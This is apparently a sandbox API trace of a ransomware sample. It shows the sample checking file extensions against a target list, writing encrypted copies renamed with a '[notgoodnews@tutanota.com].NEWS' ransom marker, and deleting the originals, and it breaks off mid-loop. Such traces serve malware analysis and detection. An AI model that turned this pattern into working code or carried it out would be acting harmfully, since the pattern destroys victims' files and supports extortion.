[0174.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString=".docx") returned 5 [0174.280] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.280] lstrlenW (lpString=".pdf") returned 4 [0174.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString=".xls") returned 4 [0174.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.280] lstrlenW (lpString=".xlsx") returned 5 [0174.280] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.280] lstrlenW (lpString=".ppt") returned 4 [0174.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.280] lstrlenW (lpString=".zip") returned 4 [0174.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.280] lstrlenW (lpString=".rar") returned 4 [0174.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString=".bz2") returned 4 [0174.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString=".7z") returned 3 [0174.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.280] lstrlenW (lpString=".dbf") returned 4 [0174.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.280] lstrlenW (lpString=".1cd") returned 4 [0174.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.280] lstrlenW (lpString=".jpg") returned 4 [0174.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.281] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.281] lstrlenW (lpString="J0105244.WMF") returned 12 [0174.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.281] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11228) returned 1 [0174.281] CloseHandle (hObject=0x544) returned 1 [0174.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0174.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.282] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.282] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0174.283] GetLastError () returned 0x0 [0174.283] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0174.285] WriteFile (in: hFile=0x4e8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0174.286] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.286] WriteFile (in: hFile=0x4e8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.286] SetEndOfFile (hFile=0x4e8) returned 1 [0174.286] CloseHandle (hObject=0x4e8) returned 1 [0174.286] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.286] SetEndOfFile (hFile=0x544) returned 1 [0174.553] CloseHandle (hObject=0x544) returned 1 [0174.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0174.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.554] lstrlenW (lpString=".doc") returned 4 [0174.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.554] lstrlenW (lpString=".docx") returned 5 [0174.554] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.555] lstrlenW (lpString=".pdf") returned 4 [0174.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.555] lstrlenW (lpString=".xls") returned 4 [0174.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.555] lstrlenW (lpString=".xlsx") returned 5 [0174.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.555] lstrlenW (lpString=".ppt") returned 4 [0174.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.555] lstrlenW (lpString=".zip") returned 4 [0174.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.555] lstrlenW (lpString=".rar") returned 4 [0174.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.555] lstrlenW (lpString=".bz2") returned 4 [0174.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.555] lstrlenW (lpString=".7z") returned 3 [0174.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.555] lstrlenW (lpString=".dbf") returned 4 [0174.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.555] lstrlenW (lpString=".1cd") returned 4 [0174.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.555] lstrlenW (lpString=".jpg") returned 4 [0174.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.555] lstrlenW (lpString=".doc") returned 4 [0174.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.556] lstrlenW (lpString=".docx") returned 5 [0174.556] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.556] lstrlenW (lpString=".pdf") returned 4 [0174.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.556] lstrlenW (lpString=".xls") returned 4 [0174.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.556] lstrlenW (lpString=".xlsx") returned 5 [0174.556] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.556] lstrlenW (lpString=".ppt") returned 4 [0174.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.556] lstrlenW (lpString=".zip") returned 4 [0174.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.556] lstrlenW (lpString=".rar") returned 4 [0174.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.556] lstrlenW (lpString=".bz2") returned 4 [0174.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.556] lstrlenW (lpString=".7z") returned 3 [0174.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.556] lstrlenW (lpString=".dbf") returned 4 [0174.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.556] lstrlenW (lpString=".1cd") returned 4 [0174.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0174.556] lstrlenW (lpString=".jpg") returned 4 [0174.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.557] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.557] lstrlenW (lpString="J0105286.WMF") returned 12 [0174.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.557] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6568) returned 1 [0174.557] CloseHandle (hObject=0x544) returned 1 [0174.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0174.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.558] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.558] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0174.559] GetLastError () returned 0x0 [0174.559] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x19a8, lpOverlapped=0x0) returned 1 [0174.561] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0174.562] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.562] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.563] SetEndOfFile (hFile=0x554) returned 1 [0174.563] CloseHandle (hObject=0x554) returned 1 [0174.563] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.563] SetEndOfFile (hFile=0x544) returned 1 [0174.565] CloseHandle (hObject=0x544) returned 1 [0174.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0174.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.567] lstrlenW (lpString=".doc") returned 4 [0174.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.567] lstrlenW (lpString=".docx") returned 5 [0174.567] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.567] lstrlenW (lpString=".pdf") returned 4 [0174.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.567] lstrlenW (lpString=".xls") returned 4 [0174.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.567] lstrlenW (lpString=".xlsx") returned 5 [0174.567] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.567] lstrlenW (lpString=".ppt") returned 4 [0174.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.567] lstrlenW (lpString=".zip") returned 4 [0174.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.567] lstrlenW (lpString=".rar") returned 4 [0174.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.567] lstrlenW (lpString=".bz2") returned 4 [0174.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.567] lstrlenW (lpString=".7z") returned 3 [0174.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.568] lstrlenW (lpString=".dbf") returned 4 [0174.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.568] lstrlenW (lpString=".1cd") returned 4 [0174.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.568] lstrlenW (lpString=".jpg") returned 4 [0174.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.568] lstrlenW (lpString=".doc") returned 4 [0174.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString=".docx") returned 5 [0174.568] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.568] lstrlenW (lpString=".pdf") returned 4 [0174.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString=".xls") returned 4 [0174.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.568] lstrlenW (lpString=".xlsx") returned 5 [0174.568] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.568] lstrlenW (lpString=".ppt") returned 4 [0174.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.568] lstrlenW (lpString=".zip") returned 4 [0174.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.568] lstrlenW (lpString=".rar") returned 4 [0174.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString=".bz2") returned 4 [0174.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.568] lstrlenW (lpString=".7z") returned 3 [0174.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.569] lstrlenW (lpString=".dbf") returned 4 [0174.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.569] lstrlenW (lpString=".1cd") returned 4 [0174.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0174.569] lstrlenW (lpString=".jpg") returned 4 [0174.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.569] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.569] lstrlenW (lpString="J0105288.WMF") returned 12 [0174.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.569] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15832) returned 1 [0174.570] CloseHandle (hObject=0x544) returned 1 [0174.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0174.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.570] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.570] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0174.571] GetLastError () returned 0x0 [0174.571] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0174.574] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0174.576] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.576] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.576] SetEndOfFile (hFile=0x554) returned 1 [0174.576] CloseHandle (hObject=0x554) returned 1 [0174.576] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.576] SetEndOfFile (hFile=0x544) returned 1 [0174.579] CloseHandle (hObject=0x544) returned 1 [0174.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0174.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.581] lstrlenW (lpString=".doc") returned 4 [0174.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.581] lstrlenW (lpString=".docx") returned 5 [0174.581] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.581] lstrlenW (lpString=".pdf") returned 4 [0174.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.581] lstrlenW (lpString=".xls") returned 4 [0174.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.581] lstrlenW (lpString=".xlsx") returned 5 [0174.581] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.581] lstrlenW (lpString=".ppt") returned 4 [0174.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.581] lstrlenW (lpString=".zip") returned 4 [0174.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.581] lstrlenW (lpString=".rar") returned 4 [0174.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString=".bz2") returned 4 [0174.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString=".7z") returned 3 [0174.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.582] lstrlenW (lpString=".dbf") returned 4 [0174.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.582] lstrlenW (lpString=".1cd") returned 4 [0174.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.582] lstrlenW (lpString=".jpg") returned 4 [0174.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.582] lstrlenW (lpString=".doc") returned 4 [0174.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString=".docx") returned 5 [0174.582] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.582] lstrlenW (lpString=".pdf") returned 4 [0174.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString=".xls") returned 4 [0174.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.582] lstrlenW (lpString=".xlsx") returned 5 